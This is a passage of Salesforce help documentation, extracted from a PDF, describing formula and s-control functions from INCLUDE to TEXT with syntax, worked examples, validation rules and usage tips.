This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo Name on contacts where you can store the contact's Yahoo! Messenger ID. Tips: The height and width parameters are optional. Use a text string to replace the image_url and alternate_text parameters. Surround each text string in quotes. Use numbers to replace the height and width parameters. Add images to your Documents tab if you want to display them elsewhere. For example, store the image of a product in a document folder, copy the URL to the document, and paste that URL in the image_url parameter of a formula field on the Products tab. If you use Internet Explorer, you may need to change your security settings so that it does not display a warning prompt when images use HTTP protocol. See the online help for Internet Explorer for instructions on changing your security settings. The IMAGE function cannot include the GETSESSIONID function as one of its arguments. The IMAGE function is available everywhere that you can define a formula except default values, field updates, s-controls, validation rules, approval processes, and workflow rules.

INCLUDE Description: Use: Returns content from an s-control snippet. Use this function to reuse common code in many s-controls.
{!INCLUDE(source, [inputs])} and replace source

with the s-control snippet you want to reference. Replace inputs with any information you need to pass to the snippet. S-Control Example: Including Header Snippet
<html> <body> {! INCLUDE($SControl.Header_Snippet,

1133

Customize

Operators and Functions

[title = "My Title", theme = "modern"])} </body> </html>

This example references a snippet that provides a header for a page that you created to display in a Web tab. It displays the page title My Title. Use the $SControl global variable to reference a custom s-control. Including Input Parameters Use the following two examples to see how you can create a reusable snippet and include it in an s-control.
<h2 class={!$Request.titleTheme}.title> {!$Request.titleText}</h2>

This snippet requires two input parameters: titleTheme and titleText. It is a reusable HTML tag that presents a page title and theme based on input parameters. Next, create an s-control that includes this snippet:
<html> <head> </head> <body> {! INCLUDE($SControl.Title_Snippet, [titleTheme = "modern", titleText = "My Sample Title"]) } ... Insert your page specific content here ... </body> </html>

This s-control uses the snippet titled Title_Snippet to display the title of the page My Sample Title and modern theme. Replace Insert your page specific content here with your own HTML content and use the s-control as the source of a Web tab to create your own pages in Salesforce. Tips: Because this function references an s-control snippet and does not copy it, it always runs the latest content of the s-control snippet. Remember when making a change to your s-control snippet that it affects all INCLUDE functions that refer to it. Use the $Request global variable to access any information inside the snippet. This function is only available in custom buttons, links, and s-controls.

1134

Customize

Operators and Functions

INCLUDES Description: Use: Determines if any value selected in a multi-select picklist field equals a text literal you specify.
INCLUDES(multiselect_picklist_field, text_literal) and replace multiselect_picklist_field with the merge field name for the multi-select picklist; and replace text_literal with the multi-select picklist value you

want to match in quotes. Examples: Tips:


INCLUDES(Hobbies__c, "Golf") returns TRUE if one of the selected values in the Hobbies custom multi-select picklist field is Golf.

The text_literal expression must be of type text and enclosed in quotes. It cannot be a merge field or the result of a function. Salesforce returns an error if any of the following occurs: You do not provide a text_literal expression. You provide an empty text_literal expression, such as "" or " ".

Use ISNULL to determine if a multi-select picklist field is empty. Use the PRIORVALUE function inside the INCLUDES function to check if the previous value of a multi-select picklist field included a specific value. For example:
INCLUDES( PRIORVALUE(multiselect_picklist_field),text_literal )

ISBLANK Description: Use: Determines if an expression has a value and returns TRUE if it does not. If it contains a value, this function returns FALSE.
ISBLANK(expression) and replace expression with the

expression you want evaluated.

1135

Customize

Operators and Functions

Example:

(IF(ISBLANK(Maint_Amount__c), 0, 1) + IF(ISBLANK(Services_Amount__c), 0,1) + IF(ISBLANK(Discount_Percent__c), 0, 1) + IF(ISBLANK(Amount), 0, 1) + IF(ISBLANK(Timeline__c), 0, 1)) / 5

This formula takes a group of opportunity fields and calculates what percent of them are being used by your sales personnel. This formula field checks five fields to see if they are blank. If so, a zero is counted for that field. A 1 is counted for any field that contains a value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select the Treat blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing. Tips: Use ISBLANK instead of ISNULL in new formulas. ISBLANK has the same functionality as ISNULL, but also supports text fields. Salesforce will continue to support ISNULL, so you do not need to change any existing formulas. A field is not empty if it contains a character, blank space, or zero. For example, a field that contains a space inserted with the spacebar is not empty. Use the BLANKVALUE function to return a specified string if the field does not have a value; use the ISBLANK function if you only want to check if the field has a value. If you use this function with a numeric field, the function only returns TRUE if the field has no value and is not configured to treat blank fields as zeroes.

ISCHANGED Description: Compares the value of a field to the previous value and returns TRUE if the values are different. If the values are the same, this function returns FALSE.
ISCHANGED(field) and replace field with the name of

Use: Validation Rule Example:

the field you want to compare. The following validation rule prevents users from changing an opportunity name after it has been created: NOT(ISCHANGED(Name)).
NOT(AND(ISCHANGED(Priority), ISPICKVAL(Priority, Low))) is a validation rule that ensures if a user changes the Priority of a case, the new

priority cannot be Low.


NOT(AND(ISCHANGED(CloseDate), OR(MONTH(CloseDate) <> MONTH(TODAY()), YEAR(CloseDate) <>

1136

Customize

Operators and Functions

YEAR(TODAY())),$Profile.Name <> "Sales Manager")) is a validation rule that prevents a user from changing the Close Date of an opportunity to a date outside

of the current month and year unless that user has the Sales Manager profile. Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

Tips:

This function is available only in: Assignment rules Validation rules Field updates Workflow rules if the trigger type is set to Every time a record is created or edited.

Use the NOT function to reverse the return values of TRUE and FALSE. This function returns FALSE when evaluating any field on a newly created record. If a text field was previously blank, this function returns TRUE when it contains any value. For number, percent, or currency fields, this function returns TRUE when: The field was blank and now contains any value The field was zero and now is blank The field was zero and now contains any other value

ISNEW Description: Checks if the formula is running during the creation of a new record and returns TRUE if it is. If an existing record is being updated, this function returns FALSE.
ISNEW()

Use: Validation Rule Example:

Use the following validation rule to prevent users from creating opportunities with a close date in the past. AND (ISNEW(), CloseDate < TODAY()) checks if the user is creating a new opportunity and, if so, ensures that the Close Date is today or after today. Use this validation rule to ensure users add at least one product to an opportunity after they have created it.
NOT(OR(ISNEW(),HasOpportunityLineItem))

1137

Customize

Operators and Functions

In this example, the validation rule formula displays the following error message when an existing opportunity does not have any products: You must add products to this opportunity before saving. This does not display an error on the initial save because they cannot add products until after saving the record initially; but it prevents them from resaving or closing an opportunity that does not contain products. Tips: This function is available only in validation rules, field updates, and workflow rules. Use the NOT function to reverse the return values of TRUE and FALSE. This function always returns FALSE when used in a workflow rule with a time-based trigger. This function always returns FALSE when used in a field update for an approval action.

ISNULL Description: Determines if an expression is null (blank) and returns TRUE if it is. If it contains a value, this function returns FALSE. Note: Use ISBLANK instead of ISNULL in new formulas. ISBLANK has the same functionality as ISNULL, but also supports text fields. Salesforce will continue to support ISNULL, so you do not need to change any existing formulas. Use:
ISNULL(expression) and replace expression with the

expression you want evaluated.

1138

Customize

Operators and Functions

Example:

(IF(ISNULL(Maint_Amount__c), 0, 1) + IF(ISNULL(Services_Amount__c), 0,1) + IF(ISNULL(Discount_Percent__c), 0, 1) + IF(ISNULL(Amount), 0, 1) + IF(ISNULL(Timeline__c), 0, 1)) / 5

This formula takes a group of opportunity fields and calculates what percent of them are being used by your sales personnel. This formula field checks five fields to see if they are blank. If so, a zero is counted for that field. A 1 is counted for any field that contains a value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select the Treat blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing. Validation Rule Example:
AND(ISPICKVAL(StageName, "Closed Won"), ISNULL(Project_Start_Date__c))

This validation rule makes the Project Start Date custom date field conditionally required whenever the opportunity stage is Closed Won. Tips: Text fields are never null, so using this function with a text field always returns false. For example, the formula field IF(ISNULL(new__c) 1, 0) is always zero regardless of the value in the New field. For text fields, use the ISBLANK function instead. Multi-select picklist fields are never null in s-controls, buttons, and email templates, so using this function with a multi-select picklist field in those contexts always returns false. Empty date and date/time fields always return true when referenced in ISNULL functions. Choose Treat blank fields as blanks for your formula when referencing a number, percent, or currency field in an ISNULL function. Choosing Treat blank fields as zeroes gives blank fields the value of zero so none of them will be null. Merge fields can be handled as blanks, which can affect the results of components like s-controls because they can call this function. When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include fields that do not contain any value. For example, to validate that a custom field contains a value of '1,' use the following validation rule to display an error if the field is blank or any other number:
OR(ISNULL(field__c), field__c<>1)

1139

Customize

Operators and Functions

ISNUMBER Description: Use: Validation Rule Example: Determines if a text value is a number and returns TRUE if it is. Otherwise, it returns FALSE.
ISNUMBER(text) and replace text with the merge field

name for the text field.


OR(LEN(Bank_Account_Number__c) <> 10, NOT(ISNUMBER(Bank_Account_Number__c)))

This validation rule ensures a custom text field called Bank Account Number is a number of 10 digits and is not blank. Tips: This function returns FALSE for blank values. The ISNUMBER function is not aware of your locale. For example, ISNUMBER("123,12") and ISNUMBER("1 000") return FALSE even if the user's locale is French. Chinese, Japanese, Korean, and special characters including a space return FALSE. The ISNUMBER function returns TRUE for scientific formatting such as 2E2 or 123.123.

ISPICKVAL Description: Use: Determines if the value of a picklist field is equal to a text literal you specify.
ISPICKVAL(picklist_field, text_literal) and replace picklist_field with the merge field name for the picklist; replace text_literal with the picklist value in quotes. text_literal cannot be a merge field or the result

of a function. Examples: Contract Activation


IF(ISPICKVAL(Status, "Activated"), NOW()-ActivatedDate, null) calculates the number of

days since the contract was activated. If the contract status is not Activated, this field is blank. Commission Amounts
IF(ISPICKVAL(StageName, "Closed Won"), ROUND(Amount *0.02, 2), 0)

This example calculates the commission amount for any opportunity that has a Closed Won stage. The value of this field will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value.

1140

Customize

Operators and Functions

Competitor-Triggered Workflow
ISPICKVAL(Stage, Closed Lost) && INCLUDES(Competitor__c, Acme)

This formula in a workflow rule configures Salesforce to trigger the associated workflow actions if the Competitor multi-select picklist field on a lost opportunity is Acme. Tips: Replace picklist_field with a custom or standard field of type picklist. Your text_literal expression must be of type text and enclosed in quotes. It cannot be a merge field or the result of a function. Use CASE functions to determine if a picklist value is equal to a particular value. When using the ISPICKVAL function to return the previous value of a picklist field, include the PRIORVALUE function inside the ISPICKVAL function as in this example:
ISPICKVAL(PRIORVALUE (picklist_field), text_literal)

JSENCODE Description: Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').
{!JSENCODE(text)} and replace text with the merge field

Use: Example:

or text string that contains the unsafe JavaScript characters. If the merge field foo__c contains <B>Enter the user's name<b>, {!JSENCODE(foo__c)} results in:
\u003CB\u003EEnter the user\'s name\u003C\/b\u003E

JSINHTMLENCODE Description: Encodes text and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents.
{!JSINHTMLENCODE(text)} and replace text with the

Use:

merge field or text string that contains the unsafe JavaScript characters.

1141

Customize

Operators and Functions

Example:

If the merge field foo__c contains <B>Enter the user's name<b>, {!JSINHTMLENCODE(foo__c)} results in: &lt;B&gt;Enter the user&#39;s
name&lt;/b&gt;

LEFT Description: Use: Returns the specified number of characters from the beginning of a text string.
LEFT(text, num_chars) and replace text with the field or expression you want returned; replace num_chars with the

number of characters from the left you want returned. Example:


TRIM(LEFT(LastName, 5)) & "-" & TRIM(RIGHT(SSN__c, 4))

This formula displays the first five characters of the contacts last name and the last four characters of the contacts social security number separated by a dash. Note that this example uses a text custom field called SSN on contacts. Tips: Reference auto-number fields as text fields in formulas. If the num_chars value is less than zero, Salesforce replaces the value with zero.

LEN Description: Use: Example: Returns the number of characters in a specified text string.
LEN(text) and replace text with the field or expression

whose length you want returned.


LEN(PartNumber__c)

This formula returns the number of characters in a Product Code field.

LINKTO Description: Use: Returns a relative URL in the form of a link (href and anchor tags) for a custom s-control or Salesforce page.
{!LINKTO(label, target, id, [inputs], [no override]} and replace label with the text for the link, target with the URL, and id with a reference to the record.

Inputs are optional and can include any additional parameters you want to add to the link. The no override argument is also optional and defaults to false. It applies to targets for standard Salesforce pages such as $Action.Account.New. Replace no override with true when you want to display

1142

Customize

Operators and Functions

a standard Salesforce page regardless of whether you have defined an override for it elsewhere. S-Control Example: New Account S-Control
<html> <body> {!LINKTO("Create a New Account", $Action.Account.New, $ObjectType.Account)} </body> </html>

This example allows users to click a link to create a new account. It is useful in account list views or Web tabs where you want users to create an account directly from that page. Use the $Action global variable to access the new account page in Salesforce. New Email Window S-Control
<html> <body> {!LINKTO("Email link", "mailto:support@yourcompany.com? subject=Please%20Help")}; </body> </html>

This example launches a new email window addressed to support@yourcompany.com with the subject Please Help whenever a user clicks Mail link. Link to Another S-Control
<html> <body> {!LINKTO("Check for duplicates", $Scontrol.dedup_account, Account.Id)} </body> </html>

Use this example to generate a page containing a hyperlink labeled Check for duplicates. When users click this link, Salesforce runs your custom s-control. This example assumes you have already created a custom s-control to find duplicate accounts and merge their information. Tips: Avoid using this function in an inline s-control if you want it to open in a new window. Enclose multiple inputs in brackets to indicate they are together:
{!LINKTO("View Case", $Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

1143

Customize

Operators and Functions

Set inputs to null if you do not have any to pass yet you want to set the no override argument:
{!LINKTO("View Case", $Action.Case.View, Case.Id, null, true)}

When you override the tab home page for a standard or custom tab, set target to the Tab $Action global variable and id to the object type. For example,
LINKTO("Accounts Tab", $Action.Account.Tab, $ObjectType.Account)

This function is only available in custom buttons, links, and s-controls.

LN Description: Returns the natural logarithm of a specified number. Natural logarithms are based on the constant e value of 2.71828182845904.
LN(number) and replace number with the field or expression

Use:

for which you want the natural logarithm. Note: the LN function is the inverse of the EXP function. Example:
LN(10) returns the natural logarithm of 10, which is 2.30. LN(Value__c) returns the natural logarithm of a custom number field called Value.

LOG Description: Use: Example: Returns the base 10 logarithm of a number.


LOG(number) and replace number with the field or expression

from which you want the base 10 logarithm calculated. Salary


LOG(Salary__c) calculates the logarithm of a persons salary. In this example, Salary is a custom currency field.

Hydrogen
-LOG(Hydrogen__c) calculates the pH and acidity using

the LOG function and a custom number field called Hydrogen, which represents the concentration of Hydrogen ions in the liquid measured in moles per liter.

1144

Customize

Operators and Functions

LOWER Description: Converts all letters in the specified text string to lowercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided.
LOWER(text, [locale]) and replace text with the field or text you wish to convert to lowercase. and locale with the

Use:

optional two-character ISO language code or five-character locale code, if available. For information on supported languages, see What languages does Salesforce support? on page 3099. Example: SALESFORCE.COM
LOWER("SALESFORCE.COM") returns salesforce.com.

Ticker Symbol
LOWER(TickerSymbol) returns the text in Ticker Symbol

in lower case characters. Applying Turkish Language Locale Rules The Turkish language has two versions of the letter i: one dotted and one dotless. The locale rules for Turkish require the ability to capitalize the dotted i, and allow the dotless I to be lowercase. To correctly use the LOWER() function with the Turkish language locale, use the Turkish locale code tr in the LOWER() function as follows:
LOWER(text, "tr")

This ensures that Salesforce does not transform any dotted i in the text to a dotless I.

LPAD Description: Use: Inserts characters you specify to the left-side of a text string.
LPAD(text, padded_length[, pad_string]) and

replace the variables:


text is the field or expression you want to insert characters

to the left of.


padded_length is the number of total characters in the

text that will be returned. pad_string is the character or characters that should be inserted. pad_string is optional and defaults to a blank space.

If the value in text is longer than pad_string, text is truncated to the size of padded_length.

1145

Customize

Operators and Functions

Example:

Account Name: Padding


LPAD(Name, 20) truncates the Name field after 20 characters. For example, if the name is salesforce.com,

the value returned is "salesforce.com." My_Company: No Change


LPAD('my_company.com', 14, 'z') returns

my_company.com without change because it has 14 characters. Account Name Padded with Z
LPAD(Name, 15, 'z') returns the name zsalesforce.com.

Account Name: Truncating


LPAD(Name, 2) truncates the name after the second character. For example, if the name is salesforce.com, the

value returned is sa. Tips: Salesforce omits leading blank spaces and zeros.

MAX Description: Use: Returns the highest number from a list of numbers.
MAX(number, number,...) and replace number with the

fields or expressions from which you want to retrieve the highest number. Example: Service Charge
MAX(0.06 * Total_Cost__c, Min_Service_Charge__c)

In this example, the formula field calculates a service charge of 6% of the total cost or a minimum service charge, whichever is greater. Note that Min Service Charge is a custom currency field with a default value of $15. However, you could make it a formula field if your minimum service charge is always the same amount. Book Royalties
MAX(0.10 * Pages__c, (Retail_Price__c * 0.07) * Total_Sold__c)

This formula determines which amount to pay in royalties for a book. It displays the greater of two amounts: $0.07 for each book sold or $0.10 per page. It assumes you have custom number fields for Pages and Total Sold and a custom currency field for Retail Price.

1146

Customize

Operators and Functions

Commissions
MAX($User.Commission_Percent__c * Price, Price * Account_Discount__c, 100)

This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom percent fields on users and assets.

MID Description: Use: Returns the specified number of characters from the middle of a text string given the starting position.
MID(text, start_num, num_chars) and replace text

with the field or expression to use when returning characters; replace start_num with the number of characters from the left to use as a starting position; replace num_chars with the total number of characters to return. Example:
MID(Division, 3, 4) returns four characters of the Division name beginning with the third character from the

left. On a user record, this represents the department code.

MIN Description: Use: Returns the lowest number from a list of numbers.
MIN(number, number,...) and replace number with the

fields or expressions from which you want to retrieve the lowest number. Example: 401K Matching
MIN(250, Contribution__c /2)

This example formula determines which amount to provide in employee 401K matching based on a matching program of half of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution. Bonus
MIN(Gross__c * Bonus_Percent__c, Performance__c / Number_of_Employees__c)

This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus percent or an equally divided amount of the company's performance amount among all employees. It assumes you

1147

Customize

Operators and Functions

have custom number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the employee's Gross and company's Performance.

MOD Description: Use: Example: Returns a remainder after a number is divided by a specified divisor.
MOD(number, divisor) and replace number with the field or expression you want divided; replace divisor with the number to use as the divisor. MOD(3, 3) returns 0 MOD(4, 3) returns 1 MOD(123, 100) returns 23

You may want to prevent users from scheduling meetings on a Saturday or Sunday. Use the following example to apply a validation rule to a custom date field calledMy Date.
CASE(MOD(My_Date__c - DATE(1900, 1, 7), 7), 0, 0, 6, 0, 1) = 0

This example displays the following error message when the value of My Date is not Monday through Friday: My Date is not a weekday.

MONTH Description: Use: Example: Returns the month, a number between 1 (January) and 12 (December) in number format of a given date.
MONTH(date) and replace date with the field or expression for the date containing

the month you want returned. SLA Expiration


MONTH(SLAExpirationDate__c) returns the month that your service-level agreement expires. This example uses a custom date field called SLA Expiration Date.

Current Month
MONTH(TODAY()) returns the current month in a number format. For example, the

month of February would be the value 2.

NOT Description: Use: Returns FALSE for TRUE and TRUE for FALSE.
NOT(logical) and replace logical with the expression that you want evaluated.

1148

Customize

Operators and Functions

Example:

IF(NOT(ISPICKVAL(Status, "Closed")), ROUND(NOW()-CreatedDate, 0), null checks to see if a case is open and if so, calculates the number of days it has

been open by subtracting the date and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the case is not open, this field is blank.

NOW Description: Use: Example: Returns a date/time representing the current moment.
NOW() IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)

This formula checks to see if a lead is open and if so, calculates the number of days it has been open by subtracting the date and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the lead is not open, this field is blank. Tips: Do not remove the parentheses. Keep the parentheses empty. They do not need to contain a value. Use a date/time field in a NOW function instead of a date field. Created Date and Last Modified Date are date/time fields whereas Last Activity Date is a date field. Use TODAY if you prefer to use a date field. Dates and times are always calculated using the users time zone. Use addition and subtraction operators with a NOW function and other date/time fields to return a number, representing number of days. For example NOW() CreatedDate calculates the number of days since the created date of a record. In this example, the formula field data type is a number. Use addition and subtraction operators with a NOW function and numbers to return a date and time. For example NOW() +5 calculates the date and time five days ahead of now. In this example, the formula field data type is a date/time.

NULLVALUE Description: Determines if an expression is null (blank) and returns a substitute expression if it is. If the expression is not blank, returns the value of the expression. Note: Use BLANKVALUE instead of NULLVALUE in new formulas. BLANKVALUE has the same functionality as NULLVALUE, but also supports text fields. Salesforce will continue to support NULLVALUE, so you do not need to change existing formulas. Use:
NULLVALUE(expression, substitute_expression) and replace expression with the expression you want to evaluate; replace substitute_expression with the

value you want to replace any blank values.

1149

Customize

Operators and Functions

Example:

(NULLVALUE(Payment_Due_Date__c, StartDate +5)

This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due Date is a custom date field on contracts. Tips: Avoid using this function with text fields because they are never null even when they are blank. Instead, use the BLANKVALUE function to determine if a text field is blank. Choose Treat blank fields as blanks for your formula when referencing a number, percent, or currency field in a NULLVALUE function. Choosing Treat blank fields as zeroes gives blank fields the value of zero so none of them will be null. Use the same data type for both the expression and substitute_expression.

OR Description: Determines if expressions are true or false. Returns TRUE if any expression is true. Returns FALSE if all expressions are false. Use this function as an alternative to the operator || (OR).
OR(logical1, logical2...) and replace any number of logical references with

Use: Formula Field Example:

the expressions you want evaluated.


IF(OR(ISPICKVAL(Priority, "High"), ISPICKVAL(Status, "New")), ROUND(NOW()-CreatedDate, 0), null)

This formula returns the number of days a case has been open if the Status is new or the Priority is high. If the case was opened today, this field displays a zero. Validation Rule Example:
OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

This validation rule formula displays the following error message when the Discount Rate custom field is not between 0 and 40%: Discount Rate cannot exceed 40%.

PARENTGROUPVAL Description: This function returns the value of a specified parent grouping. A parent grouping is any level above the one containing the formula. You can only use this function in custom summary formulas for reports. Summary: PARENTGROUPVAL(summary_field, grouping_level) Matrix: PARENTGROUPVAL(summary_field, parent_row_grouping,
parent_column_grouping)

Use:

Where summary_field is the summarized field value, grouping_level is the parent level for summary reports, and parent_row_level and parent_column_level are the parent levels for matrix reports.

1150

Customize

Operators and Functions

Example:

TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM, GRAND_SUMMARY)

This formula calculates, for each product, its relative size compared to the grand total. In this example, the report is a summary of opportunities and their products, grouped by Product Name.

PREVGROUPVAL Description: This function returns the value of a specified previous grouping. A previous grouping is one that comes before the current grouping in the report. Choose the grouping level and increment. The increment is the number of columns or rows before the current summary. The default is 1; the maximum is 12. You can only use this function in custom summary formulas for reports.
PREVGROUPVAL(summary_field, grouping_level [, increment])

Use:

Where summary_field is the name of the grouped row or column, grouping_level is the summary level, and increment is the number of rows or columns previous. Example:
AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM, CLOSE_DATE)

This formula calculates, for each month, the difference in amount from the previous month shown in the report. In this example, the report is an opportunity matrix with columns grouped by Close Date and rows by Stage.

PRIORVALUE Description: Use: Validation Rule Example: Tips: Returns the previous value of a field.
PRIORVALUE(field)

The following validation rule prevents users from changing the expected revenue of an opportunity after it is closed: AND(PRIORVALUE(Amount) > Amount, IsClosed). This function is available only in: Assignment rules Validation rules Field updates Workflow rules if the trigger type is set to Every time a record is created or edited.

This function does not return default values. When users create a new record, this function returns the value of the field referenced rather than null. For example, if you create an account named Acme, PRIORVALUE(Account.Name) returns Acme.

1151

Customize

Operators and Functions

When using the ISPICKVAL function to return the previous value of a picklist field, include the PRIORVALUE function inside the ISPICKVAL function as in this example:
ISPICKVAL(PRIORVALUE (picklist_field), text_literal)

Use the PRIORVALUE function inside the INCLUDES function to check if the previous value of a multi-select picklist field included a specific value. For example:
INCLUDES( PRIORVALUE(multiselect_picklist_field),text_literal )

REGEX Description: Compares a text field to a regular expression and returns TRUE if there is a match. Otherwise, it returns FALSE. A regular expression is a string used to describe a format of a string according to certain syntax rules.
REGEX(text, regex_text) and replace text with the text field, and regex_text

Use: Validation Rule Example:

with the regular expression you want to match. This example ensures that a custom field called SSN matches a regular expression representing a valid social security number format of the form 999-99-9999.

NOT( OR( LEN (SSN__c) = 0, REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}") ) )

Tips:

Regular expression syntax is based on Java Platform SE 6 syntax. However, backslash characters (\) must be changed to double backslashes (\\) because backslash is an escape character in Salesforce. The Salesforce regular expression engine matches an entire string as opposed to searching for a match within a string. For example, if you are searching for the name Marc Benioff, use the regular expression, .*Marc Benioff.*, to find a match in a string like the following:
According to Marc Benioff, Salesforce increases customer success.

If you use the regular expression, Marc Benioff, the only string that this regular expression will match is:
Marc Benioff

1152

Customize

Operators and Functions

Capture groups and substitutions are ignored. This function is available everywhere formulas exist except formula fields and default values.

REQUIRESCRIPT Description: Use: Returns a script tag with source for a URL you specify. Use this function when referencing the Force.com AJAX Toolkit or other JavaScript toolkits.
{!REQUIRESCRIPT(url)} and replace url with the link for the script that is required.

For the AJAX Toolkit:


{!requireScript("/soap/ajax/13.0/connection.js")}

Returns:
<script src="/soap/ajax/13.0/connection.js"></script>

For Dojo:
{!requireScript("/js/dojo/0.3.1/dojo.js")}

Returns:
<script src="/js/dojo/0.3.1/dojo.js"></script>

Custom Button Example:

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")} var c = new sforce.SObject("Case"); c.id = "{!Case.Id}"; c.Status = "New"; result = sforce.connection.update([c]); window.location.reload();

This example sets the Status of a case to New whenever a user clicks a custom button from the case detail page. To set this up in your organization, define a custom button for cases that has the following attributes:
Display Type is Detail Page Button Behavior is Execute JavaScript Content Source is OnClick JavaScript

Next, paste the content above into your custom button definition and add it to your case page layouts. Tips: Use global variables to access special merge fields for s-controls. Use this function when creating custom buttons or links where you have set the Behavior to Execute JavaScript and Content Source to OnClick JavaScript because the script tag should be outside the OnClick code. This function is only available for custom buttons and links that have Content Source set to OnClick JavaScript. When working in Visualforce, use INCLUDESCRIPT instead.

1153

Customize

Operators and Functions

RIGHT Description: Use: Returns the specified number of characters from the end of a text string.
RIGHT(text, num_chars) and replace text with the field or expression you want returned; replace num_chars with the number of characters from the right you want

returned. Example:
TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4)) displays the first

five characters of the contacts last name and the last four characters of the contacts social security number separated by a dash. Note that this assumes you have a text custom field called SSN on contacts. Tips: Reference auto-number fields as text fields in formulas. If the num_chars value is less than zero, Salesforce replaces the value with zero.

ROUND Description: Use: Returns the nearest number to a number you specify, constraining the new number by a specified number of digits.
ROUND(number, num_digits) and replace number with the field or expression you want rounded; replace num_digits with the number of decimal places you want to

consider when rounding. Example:


ROUND (1.5, 0) = 2 ROUND (1.2345, 0) = 1 ROUND (-1.5, 0) = -2 ROUND (225.49823, 2) = 255.50

Simple Discounting
ROUND(Amount-Amount* Discount_Percent__c,2)

Use this formula to calculate the discounted amount of an opportunity rounded off to two digits. This example is a number formula field on opportunities that uses a custom percent field called Discount Percent. Tips: Enter zero for num_digits to round a number to the nearest integer. Salesforce automatically rounds numbers based on the decimal places you specify. For example, a custom number field with two decimal places stores 1.50 when you enter 1.49999. Salesforce uses the round half-up rounding algorithm. Half-way values are always rounded up. For example, 1.45 is rounded to 1.5. 1.45 is rounded to 1.5. The decimal numbers displayed depend on the decimal places you selected when defining the field in the custom field wizard. The num_digits represents the number of digits considered when rounding.

RPAD Description: Inserts characters that you specify to the right-side of a text string.

1154

Customize

Operators and Functions

Use:

RPAD(text, padded_length[, 'pad_string']) and replace the variables:

text is the field or expression after which you want to insert characters. pad_length is the number of total characters in the text string that will be returned. pad_string is the character or characters that should be inserted. pad_string is

optional and defaults to a blank space. If the value in text is longer than pad_string, text is truncated to the size of padded_length. Example: Account Name: Padding Default
RPAD(Name, 20) truncates the Name field after 20 characters. For example, if the name is salesforce.com, the value returned is salesforce.com.

My_Company: No Change
RPAD('my_company.com', 14, 'z') returns my_company.com without change

because it has 14 characters. Account Name: Padding with a Character


RPAD(Name, 15, 'z') returns salesforce.comz .

Account Name: Truncating


RPAD(Name, 2) truncates the name after the second character. For example, if the name is salesforce.com, the value returned is sa.

Tips:

Salesforce omits ending blank spaces.

SQRT Description: Use: Example: Returns the positive square root of a given number.
SQRT(number) and replace number with the field or expression you want computed

into a square root.


SQRT(25)returns the square root of 25, which is 5.

Amplitude
SQRT(Amplitude__c) returns the square root of a custom number field representing

the amplitude of an earthquake. Tips: Calculating the square root of a negative number results in an error on the detail page. Avoid division by zero errors by including an IF function such as: IF(Amplitude__c >= 0, SQRT(Amplitude__c), null).

SUBSTITUTE Description: Substitutes new text for old text in a text string.

1155

Customize

Operators and Functions

Use:

SUBSTITUTE(text, old_text, new_text) and replace text with the field or value for which you want to substitute values, old_text with the text you want replaced, and new_text with the text you want to replace the old_text. SUBSTITUTE(Name, "Coupon", "Discount")returns the name of an opportunity

Example:

that contains the term Coupon with the opportunity name plus Discount wherever the term Coupon existed.
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the

location of the @ sign in a person's email address to determine the length of text to replace with a www. as a means of deriving their website address. Tips: Each term provided in quotes is case sensitive. If the old_text appears more than once, each occurrence is replaced with the new_text value provided even when that results in duplicates.

TEXT Description: Converts a percent, number, date, date/time, or currency type field into text anywhere formulas are used. Also, converts picklist values to text in validation rules, formula fields, and field updates.
TEXT(value) and replace value with the field or expression you want to convert to

Use:

text format. Avoid using any special characters besides a decimal point (period) or minus sign (dash) in this function. Example: Expected Revenue in Text
TEXT(ExpectedRevenue) returns the expected revenue amount of an opportunity in text format without a dollar sign. For example, if the Expected Revenue of a

campaign is "$200,000," this formula field displays 200000. Asset ID


SerialNumber &"-"& TEXT(Quantity) returns an asset ID number starting with the serial number and ending with the quantity separated by a dash. The Serial Number field is already text but the Quantity field is a number, requiring the TEXT

function before it. Use Picklist Values in Math Equations


VALUE(LEFT(TEXT(Quantity), 5)) * Unit

This formula multiplies the first five numbers of the Quantity picklist by the Unit numeric field. Compare Two Picklists
IF(TEXT(bug_status) = TEXT(case_status), Match, Out of Sync)

This formula compares the values of the bug_status picklist with values of the case_status picklist.

1156

Customize

Operators and Functions

Display Picklist Values From Parent Records


TEXT(Account.Industry)

This formula field on opportunities shows the industry of the associated account. Concatenate Picklist Values
TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)

This formula field on opportunities shows the industry and subindustry of the associated account. Validation Rule Examples: Block the Save of a Closed Opportunity
CONTAINS(TEXT(Status), "Closed") returns TRUE if the Status picklist

contains the value Closed, such as Closed Won and Closed Lost. This validation rule formula blocks users from saving changes to a closed opportunity. Use Numeric Functions on Numeric Picklist Values
